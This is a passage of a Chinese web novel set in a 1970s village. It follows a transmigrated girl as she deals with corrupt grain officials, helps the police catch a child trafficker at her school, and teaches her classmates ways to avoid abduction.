这年头，粮食那么珍贵，哪能说给别人吃就给别人吃。 他都吃多少顿了，总不能一直占人便宜。 钟莹莹和钟新澄还没回家拿饭，村长就送东西过来了。 “邓工……呦，都在这呢？”一推门，就看见屋里站了一群人，村长吓了一跳。 “您吃了吗？这是我家媳妇做的饭，做的有点多了，我寻思给您送点过来。”村长对邓荣的态度很尊敬。 邓荣无奈了，这一个二个的怎么回事，自己想做个饭都不成了。 心里甜蜜地抱怨，面上却是带着一丝笑意：“这也太不好意思了，天天麻烦你们。”谁不喜欢被人关心照顾的感觉呢？ “嗐……这有什么？邓工您帮我们那么大忙，吃点东西有啥？”村长是真心实意的感谢邓荣还有那几位知青。 没有他们，钟家岗还是原先那个落后的村子。 “哟，我来晚了，这都要吃上了？”老楚端着一碗油渣笋干也过来了。 邓荣挑眉：“今天什么好日子？怎么你们都来给我送东西？” “老楚你这终于大方一回了，我都还没吃过你家东西呢！”村长心里也犯嘀咕，这老楚原先扣扣嗖嗖的人，今天送这么大礼，不知道心里在盘算什么。 可别有什么不好的打算，邓荣是他们争取过来钟家岗的，万一给人惹生气了，跑了，他上哪再找一个高级干部来给钟家岗干活。 没错，从海市回来后，钟莹莹就是这么忽悠他爹的，然后钟伟先又去忽悠了村长。 原先说好的落后分子，来接受思想再教育的，到了他们这里就变成了高级干部，下乡帮助建设农村。 一样的话，换一种说法，那可大大不同。 “兴你献殷勤，不许我来送东西啊。” “没吃过我家东西，走，等下跟我回家吃去。”老楚不想让村长坏了他好事，随口答应道。 就吃一顿饭而已，没什么舍不得的。 今天这事，可是关系到他儿子未来的大事。 “邓工啊，我有个请求，想让您帮助一下。”老楚的姿态放的极低。 “我想让我家儿子也跟着你学习，不求能学多少，只要能学到您的一丝丝，能让他以后自己混口饭吃就行。” 楚天宝脑子转的慢，天天去学校上学，也没学出个名堂，在学校还被其他村的小孩子欺负。 楚天宝天天被耍着玩，回过头反应过来，不愿意去上学了。 老楚自己明白，自己不能照顾他一辈子。两个姐姐对他是好，等到嫁出去了呢？丈夫不让贴娘家，那他儿子怎么办？他得早点为他打算。 “你家天宝？”村长瞪大了眼睛，那不是个傻子吗？让人去教傻子，谁愿意啊。 “是我家天宝，邓工，我也不瞒着你。” “我家天宝刚出生的时候，我们这发大水，他病的差点没了，所幸钟家给了药，保住了他一条小命。” “可他这脑子也坏掉了，不管做什么事情都比别人慢半拍。”老楚叹了一口气。 他不知道，自己强求一个儿子是对是错了。或许是因为他命中无子，他又强要来天宝，才让这个孩子遭那么大的罪。 老楚用哀求的眼神望着邓荣：“邓工，我向您保证，他绝对不是个坏孩子，只是脑子转的有点慢。” “我想让他跟着您学，能做点小玩意，会一点手艺就行。” 老楚看了之前钟新澄拿的那个小手枪，他以为是邓荣给的，所以就求到邓荣这边来了。 天宝喜欢那个东西喜欢的不得了。 钟新澄天天跟知青走得近，最近还在邓荣这边晃。 钟新澄能跟着学，他家天宝也能。 电影里的那些学生，通过好老师的教学，那么难，都能功成名就。 孩子傻了点，他去求，不管如何，只要孩子以后能有条出路就行。 村长继续目瞪口呆：“你这……” 他也不知道说什么好了，论关系，老楚是他们村人，他应该向着他，可论实力，邓工可是个能人，老楚这要求简直是无理取闹。 钟莹莹和钟新澄也楞在那里，想不通老楚为什么会有如此大胆的想法。 邓荣见过楚天宝，那个孩子呆呆的，也不和别人玩，他以为是个内向的，今天才知道原来是个傻的。 钟莹莹这么个聪明娃他都教不好，让他去教一个傻子，那不是强人所难吗？ 他刚想拒绝，又想到他被下放，是来干活的，村里人待人友善，从不使唤他，待几个知青也好，给分的活少，公分又给的高。 知青闲下来，就给村里娃娃上课。 他呢？他总不能一直这样闲着吧？ “周知青们不是在给孩子们补课吗？我也过去，让大家一起学，能学成啥样，我不保证。”邓荣想了个折中的办法，不用单独面对傻子，也不用愧对村里人的优待。 “邓工，那可就太感谢了！”村长先老楚一步，激动的握住了邓荣的手。 知青们在孩子们放假的时候，就会给他们补习。 村里大人没事也会过去听讲。 老楚也很激动，虽然不是单独教自家孩子，但是自己孩子能跟着一块学，已经达到他的目的了。 学不好，只能说孩子态度不端正，或者老师不会教。 他家娃上课那么认真听讲，一定是之前学校学生太多了，老师顾不到他。 这回一块学，自己也跟着听，孩子听不懂的，自己听了回家也能教他。 “姑姑，邓老师真的要一块教我们啊？”钟新澄有点不乐意了。 原先属于自家人的特殊优待，一下子就变成大家都有的了。 他有点烦老楚，还有那个大傻子。 要是这俩人能…… 钟新澄脑子里浮现出一些不好的想法，眼神也逐渐变得幽深起来。 要是这俩人不在了，那邓老师是不是就只能教他们，不用教其他人了。 “木木，邓老师是来帮助建设我们村的，不是单独来帮助我们一家的。”看着钟新澄的眼神，钟莹莹顿了一下，钟新澄乖了那么久，久到她都忘记了，这孩子上辈子是个天生坏种。 只要一和别人不对付，那就会找机会对人下手，偏偏他自己还不觉得自己有做错什么。 钟莹莹的态度很严肃。 “楚天宝和老楚叔都是我们村的一份子，邓老师不可能只帮我们家，不帮他们家。” “我知道了。”钟新澄嘴上应答，心里却仍旧有一丝不舒服。 “木木，我们做人要大气一些。” “那楚天宝不是给你当小弟呢吗？你这个当老大的，不是应该多照顾他一些。”钟莹莹牵着他的手，慢慢劝导。 好久没给孩子进行思想教育了，她都有些生疏了。 钟新澄撅着嘴巴：“那我不要他当小弟了，可以吗？” “哪有说扔就扔的，这样以后谁敢和你混？”钟莹莹感到有些好笑。 “木木，你想当老大，就得舍得，当小气鬼是收不到小弟的。” 钟新澄小声嘀咕道：“姑姑你别说了，我会大方的。” 说要大方的钟新澄，刚回到家，就和丽丽干了一架，他拽着丽丽头发不松手，丽丽也用手指紧紧扯住了他的短发。 俩人都使出了吃奶的力气，一边拽，一边被对方拽的嗷嗷哭。 第44章 “哎呀，你俩别打了～”陈显英过来劝架。 钟新澄不理她，继续忍着头皮的痛楚，死命拉扯钟丽丽的头发。 钟丽丽头发在钟新澄手里，她更不会撒手了。 俩人越拽越用力，眼泪也哗啦啦的流。 钟莹莹有些无语，她只不过是给他俩一人发了一本笔记本，然后就打起来了。 钟新澄独惯了，之前钟莹莹送礼物只给他一个，这次带丽丽分，他可不就不乐意。 丽丽呢，钟新澄没出生的时候她就跟着钟莹莹，结果钟新澄这个后来的，和她分姑姑的宠爱就算了，现在竟然想完全占据她的位置，她绝不答应。 钟新澄怒火冲天：“你走，不要待在我家。” 丽丽挑衅道：“这是我家，我先住在这里的，要走也是你走。” “呜哇哇哇哇哇……”钟新澄说不过她，开始大声哭嚎，哭的时候也不忘继续拽钟丽丽的头发。 钟莹莹上前去分开俩孩子：“再打，我就把两本笔记本都拿去给别人去。” 她话音刚落，俩人都撒手了。 ‘哼’钟丽丽瞪钟新澄一眼，抹抹眼泪把自己那本拿回钟莹莹房间藏好了。 钟新澄吸着鼻涕紧随其后，也拿着东西藏到了他爹娘房间里。 晚饭时，钟明芳和黄有德都回来了。 黄有德的转业办好了，他现在在县公安局做小队长。 “爹娘，我打算在钟家岗起个房子，让我娘搬来这边住。”黄家岗那边的房子，只要一涨水，就会被淹，原先是没那个条件，现在没必要再回去住了。 钟伟先很赞同：“搬过来也好，平常干个啥都方便些。” “和你姐夫说了吗？”批宅基地的事情要经过村长的手，沾亲带故的，这事简单的很。 “说好了已经，台子下面，原先要盖猪圈的那块地，他分给我了。”亲兄弟明算账，黄有德给村里交了钱，还把老娘的户口也给迁过来了，没有户口，他是没法子建房子的。 “对了爹，姐夫说想修一修村里的路。”黄有德随口提起说。 修路？钟莹莹很吃惊，村长现在思想那么先进的吗？看来还是读书好啊！ 要想富，先修路。 她们村这‘水泥路’真该好好修修了。 “修路？那不得搞点河沙，和碎石子？” “我有个朋友在砂石厂那边工作，有需要我可以过去问一问。”钟绍华插了一嘴。 这个人不是别人，是他当年读书时的同学。 “河沙和石子不急，可以先用碎砖头块。” 钟伟先记得，窑厂那边好像有很多的残次品砖头堆在那里。 之前有人需要建个小院墙啊，盖个鸡圈啊，都会过去买那个，便宜，也不耽误用，而且吴家村离钟家岗也近，还合作过很多次，大批量的采购应当价格还能再降一降。 钟绍华认同的点点头：“也是，钱得花在刀刃上。” 去窑厂拉碎砖，还借用了人家的司机和火车，不然按照钟家岗那头牛的脚力，得拉个好几天，货车一天拉了几车就全拉完了。 吴家村的人还打探他们要碎砖干嘛，知道是他们要修路后，还露出不敢置信的表情。 这年头，人吃饱都难，钟家岗还修上路了，这家伙真的富了啊。 吴家村的村长召开会议，核心宗旨就是，钟家岗的人都修路了，他们作为拿了多年先进的先进村，不能落后，他们也得修路。 吴家村的人不想搞，又想着钟家岗的人搞了，他们有窑厂，路还不如钟家岗好，有些没面子，牙一咬，也跟着修起路来。 钟家岗人少，修路也不麻烦，只需要将各家各户门口的路用碎砖头铺了，连在一起就行。 一车车的砖头倒在晒谷场上，各家各户拿东西铲了铺在自家门口的路上，公共的地方就大家一起干，没几天，碎红砖铺成的一条条小路就打通了。 虽然他们已经尽力铺整齐了，但是小路踩起来仍旧有些凹凸不平，不是所有的碎砖块都能完整的拼起来的。 要是能弄到碎煤渣就好了，填到砖缝里，会更整齐一些。 脚踩在碎砖头上，钟莹莹感慨，村里这日子，真是一天比一天好了。 钟伟先跟着村长用牛车拉着粮食去镇上交公粮了。 他们去的早，正常来说，排队排到前面，这个点该回来了，可现在却连个人影也没见到，不会是出什么事了吧？ 陈显英一直在村口往大路上张望。 等好半天才见到人回来，忙不迭问：“怎么样？还顺利吗？” “顺利个球，粮站不知道从哪里调来个新人，非说我们的粮不够称，讹了我们半袋子粮。”村长想想就觉得晦气。 陈显英皱眉：“咋这样啊？那其他村的呢？” 钟伟先把牛拴到牛屋里，转身道：“其他村也一样，交的比我们还多呢，一个个都多交了一袋粮。” “这*都没人管的吗？还有王法吗？” “王法，人家是当官的，敢反抗，说你粮没晒干，不收你的粮，那才叫傻眼了呢。”不是没人反抗，反抗最激烈的那个直接被杀鸡敬猴了，一人遭殃，后面的人可不都老实了。 唉……陈显英忍不住叹气。 自古以来，民不与官斗，他们只是普通的农村人，哪里斗得过那些当官的。 如果反抗有用的话，她爹就不会被抓到岛上去了。 想起往事，陈显英心情低落，连饭都没吃，就回屋躺下了。 “爹，娘怎么了？”钟莹莹奇怪道。 钟伟先不想在孩子面前提起那些不开心的事情：“没事，你娘只是想起不开心的事了，歇一会就好了。” 钟伟先不愿意说，钟莹莹却是能猜出个七七八八。 她娘上辈子的遗憾就是，至死也没能再见到那个被带走的父亲。 包括那个未曾谋面的她娘的娘，都是带着遗憾走的。 钟莹莹就算是上辈子，也没见过那人，后面开放了，允许那边的人回来寻亲。 她也没有信息，甚至不知道那人叫什么。 说不准那个时候，那人可能都已经没了，上哪找去。 事情都过去那么久了，娘怎么会突然想起来？肯定是发生了什么她不知道的事情。 钟莹莹漫不经心道：“爹，你今天去交公粮还顺利吗？” 说完，她还不忘观察钟伟先的表情。 果然，她刚说完话，钟伟先的眉头就紧锁着，转而又放松道：“没啥事，就是排队排的久了些。” 破案了，绝对是有人难为他们了。 她爹不肯说，她找村长打听去，村长在小孩子面前嘴巴没那么严。 吃了饭，钟莹莹就溜达到了村长家：“叔，吃饭了吗？” 村长蹲在家门口，乐呵呵道：“是莹莹啊，叔吃过了。” 他们这辈份也是乱得很，他小舅子娶了钟家大闺女，他跟钟伟先是平辈，从他小舅子那算，他得喊钟莹莹一声妹。 钟莹莹是钟绍华老来得子得来的，按照年龄来说，自己当她爷爷都使得。 妹妹实在喊不出口。 两边一商量，干脆各论各的。 在钟家岗这边，他们按照钟家岗的辈份算，黄家岗那边的，另说。 钟莹莹把玩着手里的狗尾巴草：“叔，听说我爹跟你们一块去镇上交公粮了？交公粮好玩吗？” “那是正经事，哪里能说玩呢。” “唉……咱们农村人面朝黄土背朝天，走到哪都受气。”钟强先虽然在村里当了村长，但和普通村民也没两样，一样的要去地里干活。 原先镇长来村里采访，态度是那么的和蔼亲民，他就以为现在当官的也都是好人。 今天这一遭，真是给他迎头一棒。 “咋啦？收粮的欺负人？” “可不是吗？”村长满心的苦水不知道该往哪倒，钟莹莹一问，他就绷不住了。 “好端端的去交粮食，咱们村的粮食是用邓工做的那个脱粒机摇出来的，还过筛了，稻草杆子都筛的干干净净的，又在晒谷场晒了那么些天。” “临走前还在村里过秤了，等到地方了，硬生生说我们不够称，楞是又讹了我们半袋粮。”半袋粮几十斤呢，省着点都够他们家吃一两个月了。 钟莹莹听明白了，愤怒道：“他们真可恶！” 哪个时代都不缺蛀虫，这些蛀虫不清理掉，等到那个时期，他们的处境会更艰难。 “莹莹，叔给你说的这些事，你可千万别往外说啊～”大人有分寸，孩子听了万一一怒之下，去粮站找麻烦怎么办？ 村长有点后悔和钟莹莹说这些事情了。 钟莹莹承诺道：“我知道的，我不说。” 又问了村长一些细节，钟莹莹就走了。 后悔归后悔，村长吐完苦水，心里也舒服多了，没出息地告诉自己：抢我们粮，那我们就多种点，让你怎么抢也抢不完。 黄有德的房子开始动工了，钟莹莹的假期也结束需要返校了。 钟莹莹准备寒假前去处理一下那个镇上新来的，教他一下什么是作为公职人员应当有的公平公正，最好能给人弄走。 敢拿他们村的东西，就要做好自家东西也被拿的准备。 现在去，容易被人联想到刚被针对过的几个村身上，等过段时间，大家都放松警惕了，她站在院子外面，就能把东西通通给收了。 现在空间差不多满了，她拿东西之前还得把空间里的东西先藏好，粮站那人再富，也没海市的富，不值当一直放她空间里。 等拿到东西转移好，再把海市弄的那一批给弄回空间里。 第45章 钟莹莹这几天总感觉奇奇怪怪，暗中好像有人在背后注视着自己。 一回头那视线却又消失不见了。 楚秀秀看着走着走着突然停下脚步的钟莹莹，疑惑道：“莹莹，怎么了？” 钟莹莹随口敷衍道：“没事，应当是我感觉错了。” “对了，莹莹，郑老师说，初三年级有女生失踪了，让我们放假的时候最好让家里人来接。”楚秀秀边走边说。 “真的啊，那是该小心一点！” 钟莹莹没打消心底的疑虑，佯装和楚秀秀聊天，仔细感受暗中偷窥的那人还在不在。 忽然，她猛的一回头，对上了一双眼睛。 那人又很快逃走了。 钟莹莹觉得那眼睛似曾相识，好似在哪里见过。 是在哪里呢？ 她在脑海中的记忆力不断翻找着。 她的人际交往范围极窄，一般能接触到的只有学校的老师同学，还有村子里的人。 这个人不在这个范围内。 看起来像个男人，还是个成年男人。 还有谁呢？ 想到楚秀秀说的学校有人失踪，钟莹莹联想到人贩子。 她认识的人贩子。 吴家人。 吴大勇在蹲篱笆子，吴大军吃枪子了，只有吴大海现在不知所踪。 当初去吴家闹那么一遭，后面吴家人就被抓了，不排除吴大海怀恨在心，想要报复。 “秀秀，我突然想起有道题不会，想去办公室找一下郑老师。”钟莹莹打定主意上报这件事情，不管那人是不是吴大海，他在背后躲躲藏藏的都不像是个好东西。 县中学一般来说，是不允许外人进来的，也不知道那人是如何混进来的。 “怪不得你成绩那么好呢！”楚秀秀没想太多，只是感概了一句。 放了学都那么爱学习，钟莹莹成绩不好谁成绩好。 楚秀秀望着往日熟悉的校园，见着昏黄的落日，突然觉得学校有那么一丝陌生，好似有陌生的怪物躲在阴影中准备择人而食一样，她打了一个寒颤：“咱俩一块去吧，我一个回宿舍也没啥好玩的。” 郑老师是个负责任的老师。 接管刘老师的位置后，一直兢兢业业的教导学生。 下午放学后，她也是办公室里最后一个走的。 原先她还兼职宿管老师的职位，后面实在管不过来，白天宿舍那边也需要有人看着，校长就又招了一个宿管老师，郑老师全身心投入教学，准备争一争下一次的岗位定级。 “你说什么？”郑老师简直不敢相信，她们学校竟然混进了人贩子。 “没有什么，老师，这个题目是太难了吗？”钟莹莹示意郑老师淡定一些。 不保证外面有没有人在偷听，万一打草惊蛇就不好了。 “没有，我给你说……”郑老师也很快反应过来，跟钟莹莹一起伪装。 楚秀秀站在办公桌边上，刚刚钟莹莹是贴着郑老师耳朵说的那几句话，她并没有听清俩人在说啥，只当是题目是真的太难了。 郑老师讲完题，钟莹莹面上一派真诚：“老师，我娘说您讲课讲的好，我最近成绩提升了不少，我姐和姐夫想请你吃饭嘞。” 说完她又凑近郑老师耳朵提醒道：“我姐夫在公安局工作。” 钟莹莹在胡说八道，黄有德哪里知道郑老师。 郑老师秒懂：“就这一次，下次可不允许了哦。” 她们跟学生家长一块吃饭，是有风险的，如果被有心之人举报了，免不了被说贪污受贿。 今天这是特殊情况。 早点报警，就可能早一点抓住坏人。 俩人给楚秀秀送回宿舍后，嘱咐她晚上和其他几个女生锁好门，不要外出，郑老师就骑上自己的自行车，带着钟莹莹出了校门。 中间和一个低头扫落叶的中年男人擦肩而过。 钟莹莹感觉心脏猛地一跳。 第六感告诉自己，之前偷窥的就是他。 钟莹莹没敢多看，装作若无其事的和郑老师讨论，一会儿去国营饭店吃什么。 郑老师也被这种紧张的氛围感染了，出了校门，让钟莹莹抱住她的腰，那个脚蹬子蹬到飞起。 原先得半个消失的路程，她楞是十几分钟就到了。 刚转业，事情多，黄有德下班的晚，不然钟莹莹到了公安局可能也见不到人。 “你们说什么？”黄有德大喜，这是给他送业绩来了啊！ 之前还头痛，那个丢了的女孩子，一直没什么线索。 现在就给他说，找到人贩子了，就在县中学，而且还是他丈母娘家的老熟人，他媳妇前夫的大哥。 抓不到人都对不起妻妹给自己提供的线索。 “来几个人，换上便服，跟我一起走。”面对手下和面对家里人，黄有德完全不是一个态度。 “莹莹，你跟你老师先去我宿舍凑合一晚上，暂时不要回学校，你姐在那呢。”黄有德示意一个同事带着钟莹莹和郑老师一块去单位宿舍。 “老黄啊，你这不地道啊，有任务不带我一个。”那同事嬉皮笑脸道。 “祁丰，你先把人送过去，再带两队人来县中学支援，咱们趁天黑把整个中学都给围了，来个瓮中捉鳖，就不信还能让人给跑了。” 人在县中学扫地，指定是还想在干一票大的，避免夜长梦多，立马行动是最好的。 “收到。”祁丰敬礼道。 有一些不忙的警员已经下班回家了，把人喊回来需要时间，宿舍里住了不少，他去送人顺便能把其他人一块喊过来。 能混到学校去，绝对是团伙作案，真把他们一网打尽，一个团体三等功少不了的。 “莹莹，你说他们能把人抓住不？”郑老师总感觉心里有点没底。 她第一次参与到这种事情中来。 “放心吧，同志，你要相信我们警察的实力。”祁丰年纪不大，人倒是挺自信。 “我妹妹也在县中读书，今年读初二了，这该死的人贩子，我们指定能抓到。”因为丢了一个女生，住在县里的各个家长，都感觉心惊胆颤，有条件的，每天放学，家里大人会到学校直接把孩子接回家去住，他妹妹这几天也是被他父母接回家住去了。 住村里的没办法，甚至可能还不知道有这件事情。 钟莹莹睁大眼睛：“初二？祁绮？” “你怎么知道的？”祁丰好奇道。 “祁绮是我们班上的同学。”郑老师插了一句嘴。 没想到这么巧，来公安局一趟，不仅见了学生姐夫，还见了另外一个学生的哥哥。 “嘿……小萝卜头今年都读初二了？”祁丰笑了。 他一开始以为钟莹莹初一的，一看年纪就小，甚至有点像小学生。但她从县中来的，那肯定是读初中了，没想到，她竟然是初二的。 钟莹莹看着祁丰的脸，长得浓眉大眼的，嘴巴和祁绮简直一模一样，都是薄唇。 就是性格有点不太像，祁绮很胆小，祁丰却对谁都嬉皮笑脸的。 一样米养百样人，说的就是这样的家庭吧。 “好了，到了，嫂子应该在宿舍里，你们自己进去吧，我去喊其他人。”祁丰把人送到后，争分夺秒的去了其他宿舍喊人。 钟明芳见钟莹莹和郑老师一块来自家，一开始还以为是不是孩子在学校犯错了，所以老师上门家访来了。 她家莹莹是个乖孩子，不应该啊。 钟莹莹和郑老师害怕她担心，就没跟她说，只说是郑老师请吃饭，回去有点晚了，街上不太安全，所以过来借宿一晚。 说是来的时候遇到黄有德，他出任务去了，今晚不回来。 钟明芳虽有些奇怪，这俩人能在外面吃啥饭，但仍旧热情接待了郑老师。 丽丽在村里没带出来，宿舍里只有她们三个人。 吃完钟明芳给黄有德准备的晚饭，三人挤在了一张床上。得亏钟莹莹人小，不然一张单人床真挤不下。 俩人心里有事，一开始翻来覆去的睡不着，后面又挨不住困意，沉沉睡去。 第二天一大早，黄有德虽满脸疲惫，但仍旧掩盖不住喜意的回来了。 钟莹莹一看他的脸色，就知道事情成了。 “莹莹，郑老师，我这次真得谢谢好好你俩啊！”黄有德刚上任，就得了这么大一笔功绩，下一次晋升必有他。 单位也快分房子了，有这一笔，分到他的概率很大。 到时候他闺女和儿子都能接过来在城里上学。 黄有德越想，越觉得心里美滋滋的。 “谢什么？”钟明芳很好奇昨晚究竟发生什么事情了。 “我给你说……你不要往外说，虽然基本已经确定，所有涉案人员都被抓住了，但是不排斥还有其他的。”黄有德严肃道。 五年前，公安局的人不也是以为人抓得差不多了吗？ 谁知道，等吴大海出狱后，还能联系到那些人，再次作案。 吴大海这次，死刑应该跑不了了。 真是辜负了国家给他的改过自新的机会，当初就该判死刑的。 “钟莹莹！”钟明芳怒火冲天，这孩子昨天还给她说是吃饭晚点了，回不去宿舍，合着忽悠她呢！ 钟莹莹立马求饶：“姐，我这不是怕你担心吗？” 郑老师也在边上跟着劝，最后钟明芳只是小发雷霆地用手指戳了戳钟莹莹的脑门：“下次有事情第一时间要跟姐说，听见了没有。” “我知道了，下次不会了。” 说了也没用，反而多一个人提心掉胆。 钟莹莹认错，但钟莹莹不改。 第46章 早饭是昨天那个祁丰送过来的。 家里催婚烦死人，他不耐一直相亲。 之前他妹妹就说过，他们学校有个老师，人超级好，还没对象。 年轻貌美的女老师，性格温温柔柔的，祁丰见到本人，人家还给他送了几乎白捡的功劳来，他可不就动小心思了。 黄有德见到祁丰忍不住调侃：“太阳打西边出来了？” 这个小警员有意思的很，是在他之前来局里的。 领导给安排的不属于他的工作，他直接跑路，颇有一种不畏强权的气质。 不是家里有人，就是人真的傻。 人傻得罪领导也干不下去，祁丰还提前转正了，那就是家里有人。 他们局里真是卧虎藏龙啊！ 这么一个人，今天主动来给自家送饭，无事献殷勤，非奸即盗。 郑老师对学生的安危十分关切：“黄警官，我们学校丢的那个女学生找到了吗？” “找到了，他们还没来得及把人弄走。”黄有德感到庆幸，因为他们逮捕及时，受害者并没有受到太多侵害，胳膊腿都是好的。 就是人受到刺激，被吓得不轻。 他还想继续和郑老师说话，钟明芳拍拍他的肩膀，朝他努努嘴，示意他看祁丰和郑老师。 黄有德黝黑的脸露出一丝坏笑，心想，虽然春天早就已经过去了，但是仍旧处于万物复苏的季节呀～ “郑老师，后面的事情由祁丰负责的，他了解的更多，让他给你说吧，我去给明芳找个东西。”黄有德识趣把话题抛给祁丰。 祁丰是个积极的，相中人就会主动出击。 郑老师在感情上有些迟钝，才见过一面的人她哪里会考虑那么多。 她懵懵懂懂的和祁丰聊着被拐女生的事情。 钟莹莹没走，孤男寡女的，世风日下，留个孩子在场能避免旁人说闲话。 她其实是有些好奇，吴大海是不是冲自己来的。 没想到后面从祁丰的口中听到，吴大海的口供里压根没有自己。 五年过去，小萝卜头早已长成半大少女，变化极大，吴大海跟钟莹莹又没有接触很多，哪里还认得出。 钟莹莹松了一口气，不是知道他们家人当初帮过周茹一把就好。 这件事情，除非吴家人都死完了，否则他们必须守口如瓶。 周茹也不能再来这里。 吴大海这次被抓的同伙，又翻出了许多之前没有发现的案情。 还在狱中的吴大勇又被加判了十年，十年又十年，不知何日才能出来。 吴大海知法犯法，不知悔改，和他弟弟吴老三一样，也吃枪子去了。 祁丰在答话的同时，还不忘套路郑老师的私人信息，没说几句，郑老师就差把家底都翻出来了。 钟莹莹翻了个大白眼，好家伙，这祁丰醉翁之意不在酒啊。 出门一趟，她们老师要被外人给叼走了。 这一家子的兄妹，性格真的一个天一个地，祁绮想好的事情都能犹豫半天，祁丰这才见到她们老师第一面，就相中了？ 回学校她得探探祁绮口风，看看她这个哥哥人品行不行。 知人知面不知心，万一不行的话，那不是把她们老师推火坑里了。 黄有德给祁丰批了一个小时的假，让他把握好机会，送郑老师和钟莹莹回学校。 回到学校，宿舍里的几个女生一下子就把钟莹莹给围住了。 “莹莹，昨天你跟郑老师出去了，你都不知道，我们学校可吓人了，那个扫地的阿叔竟然是人贩子。”楚秀秀脸上写满了后怕，昨天她和钟莹莹还从那人身后路过呢。 “对啊，听我哥说，那个学姐被找到的时候，人都吓傻了。”祁绮现在胆子也大一些了。 宿舍里没外人的时候，别人说话她也会搭上那么一两句。 李红雪跟着道：“我村里朋友说，那个学姐是被扫地的阿叔喊过去，要她帮个忙，她去了，就被人绑起来了。” “人不能太好心，坏人太多了。” “人贩子就喜欢利用我们的善心。” “你们有想过吗？他们需要帮助，为什么不去找大人？为什么不找老师？偏偏要找我们一个小孩子？”看着一派天真的舍友们，钟莹莹一脸严肃，这个年代还没有那么多的科普，人贩子的套路其实也就那几招。 这几个舍友，钟莹莹都处的不错，各个都是很可爱的女孩子。 钟莹莹不希望将来有一天听到，她们中有任何一个被拐了。 这个时期被拐，几乎死路一条，周茹那是运气好，加上她们这是大平原，找准机会跑，不要和人求助，才成功了。 如果是山里，或者中间找本地人帮忙了，极大可能会被送回去。 逃跑未遂，被抓回去比死还难受，好一点的给人拴住，不好的，直接给腿打断，反正能生孩子就行，女人啥样无所谓，生了孩子才没人管她们是死是活。 吴月听了若有所思。 其他几个女生也一脸认真，听着钟莹莹继续说。 “他们找我们，不找能帮他们的人，指定是不怀好意。” “不管是老奶奶、还是小孩子、还是怀孕的人。” 钟莹莹防拐防骗小课堂开课了：“有人喊你们帮忙，你们记得快跑，然后立马去找家长。” 李红雪用力鼓掌：“哇塞，莹莹，你好厉害。” 学校老师都没教过这些东西，钟莹莹却能这么了解。 可不是太厉害了嘛！ 钟莹莹无奈：“我说的你们都记得放在心上，不然哪天被人拐了，卖到大山里给瞎子瘸子傻子当媳妇，天天挨打。” 祁绮想到那个画面，顿时浑身一激灵，她才不要被卖给瘸子傻子当媳妇。 以后陌生人找她说话，她什么也不听，立马就跑。 她哥还是警察呢，都没跟她说过这些。 还没有她舍友厉害呢。 钟莹莹没想过，自己的一番话，竟会有如此蝴蝶效应，让本就内向胆小的祁绮变得更加内向，搁后世，孩子肯定会说自己出门要走下水道，不让任何一个人发现。 “还有啊，有些人会拉着你说，你是他闺女，边上他的帮手也会帮腔，这个时候我们该怎么办呢？”钟莹莹提问道。 李红雪立马举手：“我知道。” “你说。” “我们应该立刻大喊救命，然后说家庭地址和名字，喊路过的人帮忙。” 钟莹莹反驳道：“错，大错特错。” “哪里错了？”李红雪有点不服气。 “你说家庭住址，他们只会说你在闹脾气呢，所以你不认他们。” “路人不确定他们说的是不是真的，会想着多一事不如少一事，家务事，没人愿意管的。”这种骗局到后世都很常见，有些人众目睽睽之下，就敢直接绑人，偏偏次次都成功了。 钟莹莹看了一下几个好奇宝宝，顿了一下继续说：“我们应该做的事，看周围有没有什么值钱的东西，如果有店铺，直接去砸东西，如果有其他人，直接去抓人脸，扇人巴掌，咬人胳膊。” “啊？这样会挨打的吧？”吴月不敢想象那该是多么灾难的场面。 钟莹莹斜睨她一眼：“挨打好，还是被拐了卖了好？” 吴月讪讪道：“那我还是选挨打吧！” “可是我们为什么要这么做啊？”李红雪还是不明白。 钟莹莹给她举了个例子：“要是有人莫名其妙的咬你一口，把你衣服扯烂了，你会怎么做？” “我肯定会拉住他不让他走，让他赔……”李红雪悟到妙处了。 其他几个人也理解了这一举动的深意。 人啊，一般都是事不关己高高挂起，可一旦涉及到自己的利益，那没有一个会退让的。 “莹莹，你这方法也太好了吧。”祁绮感概道。 都是初中生，她咋那么厉害？这该不会是她姐夫教的吧。 祁绮听祁丰说了，她同学钟莹莹的姐夫是部队转业回来做警察的，还是祁丰的领导。 领导指定比下属聪明，钟莹莹这一家子都是聪明人，她以后一定要向钟莹莹看齐。 听祁绮说话，钟莹莹就想到祁丰：“绮绮，你哥之前有对象不？” 祁绮茫然：“没有啊，他一直老光棍一个，我爷奶要给他介绍，他都懒得去看。” “你哥平常待你好吗？他会欺负你吗？” 祁绮想了一下：“有时候会，还会抢我零食，但是……对我算好的吧。” 有外人欺负她的时候，他哥会帮他把那些人打走。 没外人的时候，他哥就抢他零食，还指使自己干活，有点可恶。 “莹莹，你问这个做什么啊？”祁绮不明白为什么钟莹莹会提起她哥。 钟莹莹收起自己桌上的东西：“我有点好奇别人家的哥哥是什么样的，咱们宿舍就咱俩有哥哥。” 郑老师和祁丰八字还没一瞥呢，钟莹莹不想到处宣扬。 祁绮哦了一声，确实，宿舍其他几个舍友家里都是弟弟。 她自己有时候也会好奇别人家的哥哥是什么样子的。 钟明芳来学校接钟莹莹，村里传来消息，村长的爹没了。 他起夜，蹲坑上一直没起来。 第二天一早，家里人起床才发现。 老头子蹲那里一动不动，裤子也没脱。 村长还以为是睡着了。 叫了好几声都没人应，他探了探自家老爹的鼻息。 顿时哭声震天，整个村子都被惊动了。 钟家岗老村长去世，凡是能回去奔丧的，都要回去。 第47章 葬礼上的人来了一波又一波。 不止钟家岗的人，附近其他村子很多老人都来了。 由于不兴大操大办，村长只是在停灵的时候，在村里人的帮助下，自家人弄了些粗茶淡饭。 所有人都沉浸在悲伤的氛围中。 “娘……”村长哭的不能自已。 他爹还没下葬，他娘也趴在棺材边，没气了。 钟莹莹对这种事，也不知道怎么说，无疾而终是好事，但对于还活着的人来说，一下子失去双亲，未免太残忍了些。 来悼念的人还没走，就收到了另外一个消息。 吴家村村长拍了拍村长的肩膀，叹了一口气：“强先啊，你也别太难过了，你爹娘走的这无病无灾的，是好事。” 村长眼里噙着泪：“我知道，可、我没爹也没娘了……呜……” 整个停灵期，钟家岗都被笼罩在乌云之下。 孩子们大多数第一次经历亲近之人的离去，一时之间也不太懂心里是什么滋味，一个个的都莫名其妙的安静下来。 轮到下葬的时候，村长和钟莹莹她爹发生了争执。 “你不知道土葬是犯法的吗？” “你也想跟吴家那几兄弟一样蹲篱笆子吗？” 钟伟先气得跳脚。 